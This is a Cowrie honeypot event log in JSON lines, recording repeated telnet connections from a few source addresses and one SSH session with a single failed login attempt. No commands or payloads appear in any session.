{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":54130,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f8ff37fd746","protocol":"telnet","message":"New connection: 57.128.88.161:54130 (159.203.135.109:23) [session: 2f8ff37fd746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:00.221175Z"}
{"eventid":"cowrie.session.closed","duration":32.74617123603821,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:01.104172Z","src_ip":"209.159.146.115","session":"cd1e3afa048a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52050,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e1491f576a7","protocol":"telnet","message":"New connection: 209.159.146.115:52050 (159.203.135.109:23) [session: 4e1491f576a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:01.519510Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":55314,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d3b37b1a315","protocol":"telnet","message":"New connection: 57.128.88.161:55314 (159.203.135.109:23) [session: 8d3b37b1a315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:02.341305Z"}
{"eventid":"cowrie.session.closed","duration":120.00143623352051,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:03.286175Z","src_ip":"45.6.79.189","session":"fe65e3157967","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":55322,"dst_ip":"159.203.135.109","dst_port":23,"session":"c787b7fdbaa5","protocol":"telnet","message":"New connection: 57.128.88.161:55322 (159.203.135.109:23) [session: c787b7fdbaa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:03.545641Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":55332,"dst_ip":"159.203.135.109","dst_port":23,"session":"b45cd203c9db","protocol":"telnet","message":"New connection: 57.128.88.161:55332 (159.203.135.109:23) [session: b45cd203c9db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:03.580689Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37854,"dst_ip":"159.203.135.109","dst_port":23,"session":"a44fd2dc339a","protocol":"telnet","message":"New connection: 209.159.146.115:37854 (159.203.135.109:23) [session: a44fd2dc339a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:03.963862Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":39270,"dst_ip":"159.203.135.109","dst_port":23,"session":"556a0cdc8ef6","protocol":"telnet","message":"New connection: 209.159.146.115:39270 (159.203.135.109:23) [session: 556a0cdc8ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:04.859503Z"}
{"eventid":"cowrie.session.closed","duration":30.62314796447754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:05.042986Z","src_ip":"57.128.88.161","session":"cdb14542db2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40292,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d4fbcd345bf","protocol":"telnet","message":"New connection: 209.159.146.115:40292 (159.203.135.109:23) [session: 1d4fbcd345bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:05.356868Z"}
{"eventid":"cowrie.session.closed","duration":32.69781446456909,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:05.383404Z","src_ip":"209.159.146.115","session":"b5615de46752","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":55342,"dst_ip":"159.203.135.109","dst_port":23,"session":"30c0a30bc7ff","protocol":"telnet","message":"New connection: 57.128.88.161:55342 (159.203.135.109:23) [session: 30c0a30bc7ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:05.449473Z"}
{"eventid":"cowrie.session.closed","duration":35.39301562309265,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:05.520302Z","src_ip":"209.159.146.115","session":"f7599400db1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":55344,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6f0876d0673","protocol":"telnet","message":"New connection: 57.128.88.161:55344 (159.203.135.109:23) [session: c6f0876d0673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:05.534760Z"}
{"eventid":"cowrie.session.closed","duration":120.00183272361755,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:05.770962Z","src_ip":"45.6.79.189","session":"45e3249ce840","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":55346,"dst_ip":"159.203.135.109","dst_port":23,"session":"7314f8b05a0b","protocol":"telnet","message":"New connection: 57.128.88.161:55346 (159.203.135.109:23) [session: 7314f8b05a0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:06.030823Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":55348,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b725b39260d","protocol":"telnet","message":"New connection: 57.128.88.161:55348 (159.203.135.109:23) [session: 9b725b39260d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:06.165602Z"}
{"eventid":"cowrie.session.closed","duration":40.00203800201416,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:06.342967Z","src_ip":"209.159.146.115","session":"cf65007d1d95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":55362,"dst_ip":"159.203.135.109","dst_port":23,"session":"12b21bbd6edb","protocol":"telnet","message":"New connection: 57.128.88.161:55362 (159.203.135.109:23) [session: 12b21bbd6edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:06.369798Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":55376,"dst_ip":"159.203.135.109","dst_port":23,"session":"9546afd7acd9","protocol":"telnet","message":"New connection: 57.128.88.161:55376 (159.203.135.109:23) [session: 9546afd7acd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:06.558011Z"}
{"eventid":"cowrie.session.closed","duration":30.55601716041565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:07.081919Z","src_ip":"57.128.88.161","session":"58f0eb80548e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":55380,"dst_ip":"159.203.135.109","dst_port":23,"session":"64a834744580","protocol":"telnet","message":"New connection: 57.128.88.161:55380 (159.203.135.109:23) [session: 64a834744580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:07.385715Z"}
{"eventid":"cowrie.session.closed","duration":120.00132584571838,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:07.534906Z","src_ip":"45.6.79.189","session":"89346da397bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.6.79.189","src_port":38342,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d76a3c88f63","protocol":"telnet","message":"New connection: 45.6.79.189:38342 (159.203.135.109:23) [session: 1d76a3c88f63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:07.964295Z"}
{"eventid":"cowrie.session.closed","duration":31.120847702026367,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:08.534466Z","src_ip":"57.128.88.161","session":"bcd593174f91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":55382,"dst_ip":"159.203.135.109","dst_port":23,"session":"c68c45e5a0f1","protocol":"telnet","message":"New connection: 57.128.88.161:55382 (159.203.135.109:23) [session: c68c45e5a0f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:08.540778Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48608,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa5929c14103","protocol":"telnet","message":"New connection: 209.159.146.115:48608 (159.203.135.109:23) [session: fa5929c14103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:08.673933Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":55386,"dst_ip":"159.203.135.109","dst_port":23,"session":"d229c081045f","protocol":"telnet","message":"New connection: 57.128.88.161:55386 (159.203.135.109:23) [session: d229c081045f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:09.327314Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":55396,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1276ba917f7","protocol":"telnet","message":"New connection: 57.128.88.161:55396 (159.203.135.109:23) [session: b1276ba917f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:10.297614Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":57010,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9d7555a397d","protocol":"telnet","message":"New connection: 209.159.146.115:57010 (159.203.135.109:23) [session: d9d7555a397d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:10.345501Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":55400,"dst_ip":"159.203.135.109","dst_port":23,"session":"f770c47bced2","protocol":"telnet","message":"New connection: 57.128.88.161:55400 (159.203.135.109:23) [session: f770c47bced2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:10.874916Z"}
{"eventid":"cowrie.session.closed","duration":30.432329893112183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:11.074984Z","src_ip":"57.128.88.161","session":"d18f6be054ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":55404,"dst_ip":"159.203.135.109","dst_port":23,"session":"d09a13b1c8bf","protocol":"telnet","message":"New connection: 57.128.88.161:55404 (159.203.135.109:23) [session: d09a13b1c8bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:11.531934Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":51126,"dst_ip":"159.203.135.109","dst_port":23,"session":"400e91d91dec","protocol":"telnet","message":"New connection: 57.128.88.161:51126 (159.203.135.109:23) [session: 400e91d91dec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:11.782794Z"}
{"eventid":"cowrie.session.closed","duration":30.747062921524048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:12.046371Z","src_ip":"57.128.88.161","session":"2f7f9b21a5ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":51136,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d1a687a658f","protocol":"telnet","message":"New connection: 57.128.88.161:51136 (159.203.135.109:23) [session: 0d1a687a658f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:12.195892Z"}
{"eventid":"cowrie.session.closed","duration":37.612680196762085,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:12.200200Z","src_ip":"209.159.146.115","session":"cca9e6546c9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38764,"dst_ip":"159.203.135.109","dst_port":23,"session":"a59cda759efe","protocol":"telnet","message":"New connection: 209.159.146.115:38764 (159.203.135.109:23) [session: a59cda759efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:12.384266Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40596,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cf0d681b4e1","protocol":"telnet","message":"New connection: 209.159.146.115:40596 (159.203.135.109:23) [session: 5cf0d681b4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:12.693087Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":51150,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1667e80c2ec","protocol":"telnet","message":"New connection: 57.128.88.161:51150 (159.203.135.109:23) [session: b1667e80c2ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:13.016773Z"}
{"eventid":"cowrie.session.closed","duration":30.50913095474243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:13.217724Z","src_ip":"57.128.88.161","session":"2571429f5678","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.966537475585938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:13.791505Z","src_ip":"57.128.88.161","session":"892f50c99393","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":51152,"dst_ip":"159.203.135.109","dst_port":23,"session":"15818f43e701","protocol":"telnet","message":"New connection: 57.128.88.161:51152 (159.203.135.109:23) [session: 15818f43e701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:14.362753Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37394,"dst_ip":"159.203.135.109","dst_port":22,"session":"0aacde2ae1a9","protocol":"ssh","message":"New connection: 159.203.92.129:37394 (159.203.135.109:22) [session: 0aacde2ae1a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:14.469811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:14.475118Z","src_ip":"159.203.92.129","session":"0aacde2ae1a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:14.481330Z","src_ip":"159.203.92.129","session":"0aacde2ae1a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"0","message":"login attempt [angel/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:14.495289Z","src_ip":"159.203.92.129","session":"0aacde2ae1a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":46900,"dst_ip":"159.203.135.109","dst_port":23,"session":"32bf66e3ff2e","protocol":"telnet","message":"New connection: 209.159.146.115:46900 (159.203.135.109:23) [session: 32bf66e3ff2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:14.513152Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":51156,"dst_ip":"159.203.135.109","dst_port":23,"session":"b08f932212af","protocol":"telnet","message":"New connection: 57.128.88.161:51156 (159.203.135.109:23) [session: b08f932212af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:14.559893Z"}
{"eventid":"cowrie.session.closed","duration":30.635557174682617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:15.065560Z","src_ip":"57.128.88.161","session":"46191f75d966","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71854829788208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:15.070116Z","src_ip":"57.128.88.161","session":"4ba5d480b993","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.545910358428955,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:15.075986Z","src_ip":"209.159.146.115","session":"0d93e99be1d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":51168,"dst_ip":"159.203.135.109","dst_port":23,"session":"76cbfc63ebff","protocol":"telnet","message":"New connection: 57.128.88.161:51168 (159.203.135.109:23) [session: 76cbfc63ebff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:15.223552Z"}
{"eventid":"cowrie.session.closed","duration":30.9943425655365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:15.233855Z","src_ip":"57.128.88.161","session":"f8e15877f705","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":51184,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e97de9991e4","protocol":"telnet","message":"New connection: 57.128.88.161:51184 (159.203.135.109:23) [session: 2e97de9991e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:15.314049Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:15.504848Z","src_ip":"159.203.92.129","session":"0aacde2ae1a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.01363229751587,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:16.075686Z","src_ip":"209.159.146.115","session":"af627a7a24aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.748714447021484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:16.163642Z","src_ip":"57.128.88.161","session":"6aa4429746b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":53832,"dst_ip":"159.203.135.109","dst_port":23,"session":"24b5abccfafa","protocol":"telnet","message":"New connection: 209.159.146.115:53832 (159.203.135.109:23) [session: 24b5abccfafa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:16.912690Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55632,"dst_ip":"159.203.135.109","dst_port":23,"session":"7080c59b2e48","protocol":"telnet","message":"New connection: 209.159.146.115:55632 (159.203.135.109:23) [session: 7080c59b2e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:17.593087Z"}
{"eventid":"cowrie.session.closed","duration":31.473601818084717,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:17.714238Z","src_ip":"57.128.88.161","session":"bd32ede5301a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.25365900993347,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:17.760833Z","src_ip":"209.159.146.115","session":"85b94799dd43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":51198,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dcef6c49a50","protocol":"telnet","message":"New connection: 57.128.88.161:51198 (159.203.135.109:23) [session: 2dcef6c49a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:18.164326Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":51214,"dst_ip":"159.203.135.109","dst_port":23,"session":"1694b87212dc","protocol":"telnet","message":"New connection: 57.128.88.161:51214 (159.203.135.109:23) [session: 1694b87212dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:18.264094Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":51220,"dst_ip":"159.203.135.109","dst_port":23,"session":"5edb83fb071b","protocol":"telnet","message":"New connection: 57.128.88.161:51220 (159.203.135.109:23) [session: 5edb83fb071b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:18.296651Z"}
{"eventid":"cowrie.session.closed","duration":37.95120930671692,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:19.070377Z","src_ip":"209.159.146.115","session":"11821f0c8cdb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36098,"dst_ip":"159.203.135.109","dst_port":23,"session":"61425f63e29d","protocol":"telnet","message":"New connection: 209.159.146.115:36098 (159.203.135.109:23) [session: 61425f63e29d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:19.248247Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":51228,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac920e8fe555","protocol":"telnet","message":"New connection: 57.128.88.161:51228 (159.203.135.109:23) [session: ac920e8fe555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:19.985430Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":38352,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f466217b297","protocol":"telnet","message":"New connection: 209.159.146.115:38352 (159.203.135.109:23) [session: 0f466217b297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:20.153850Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":51238,"dst_ip":"159.203.135.109","dst_port":23,"session":"832e603345e2","protocol":"telnet","message":"New connection: 57.128.88.161:51238 (159.203.135.109:23) [session: 832e603345e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:20.329092Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.88.161","src_port":51242,"dst_ip":"159.203.135.109","dst_port":23,"session":"a652222a66d9","protocol":"telnet","message":"New connection: 57.128.88.161:51242 (159.203.135.109:23) [session: a652222a66d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:20.430671Z"}
{"eventid":"cowrie.session.closed","duration":32.63897109031677,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:51:20.581807Z","src_ip":"209.159.146.115","session":"5c50a1713e77","protocol":"telnet"}
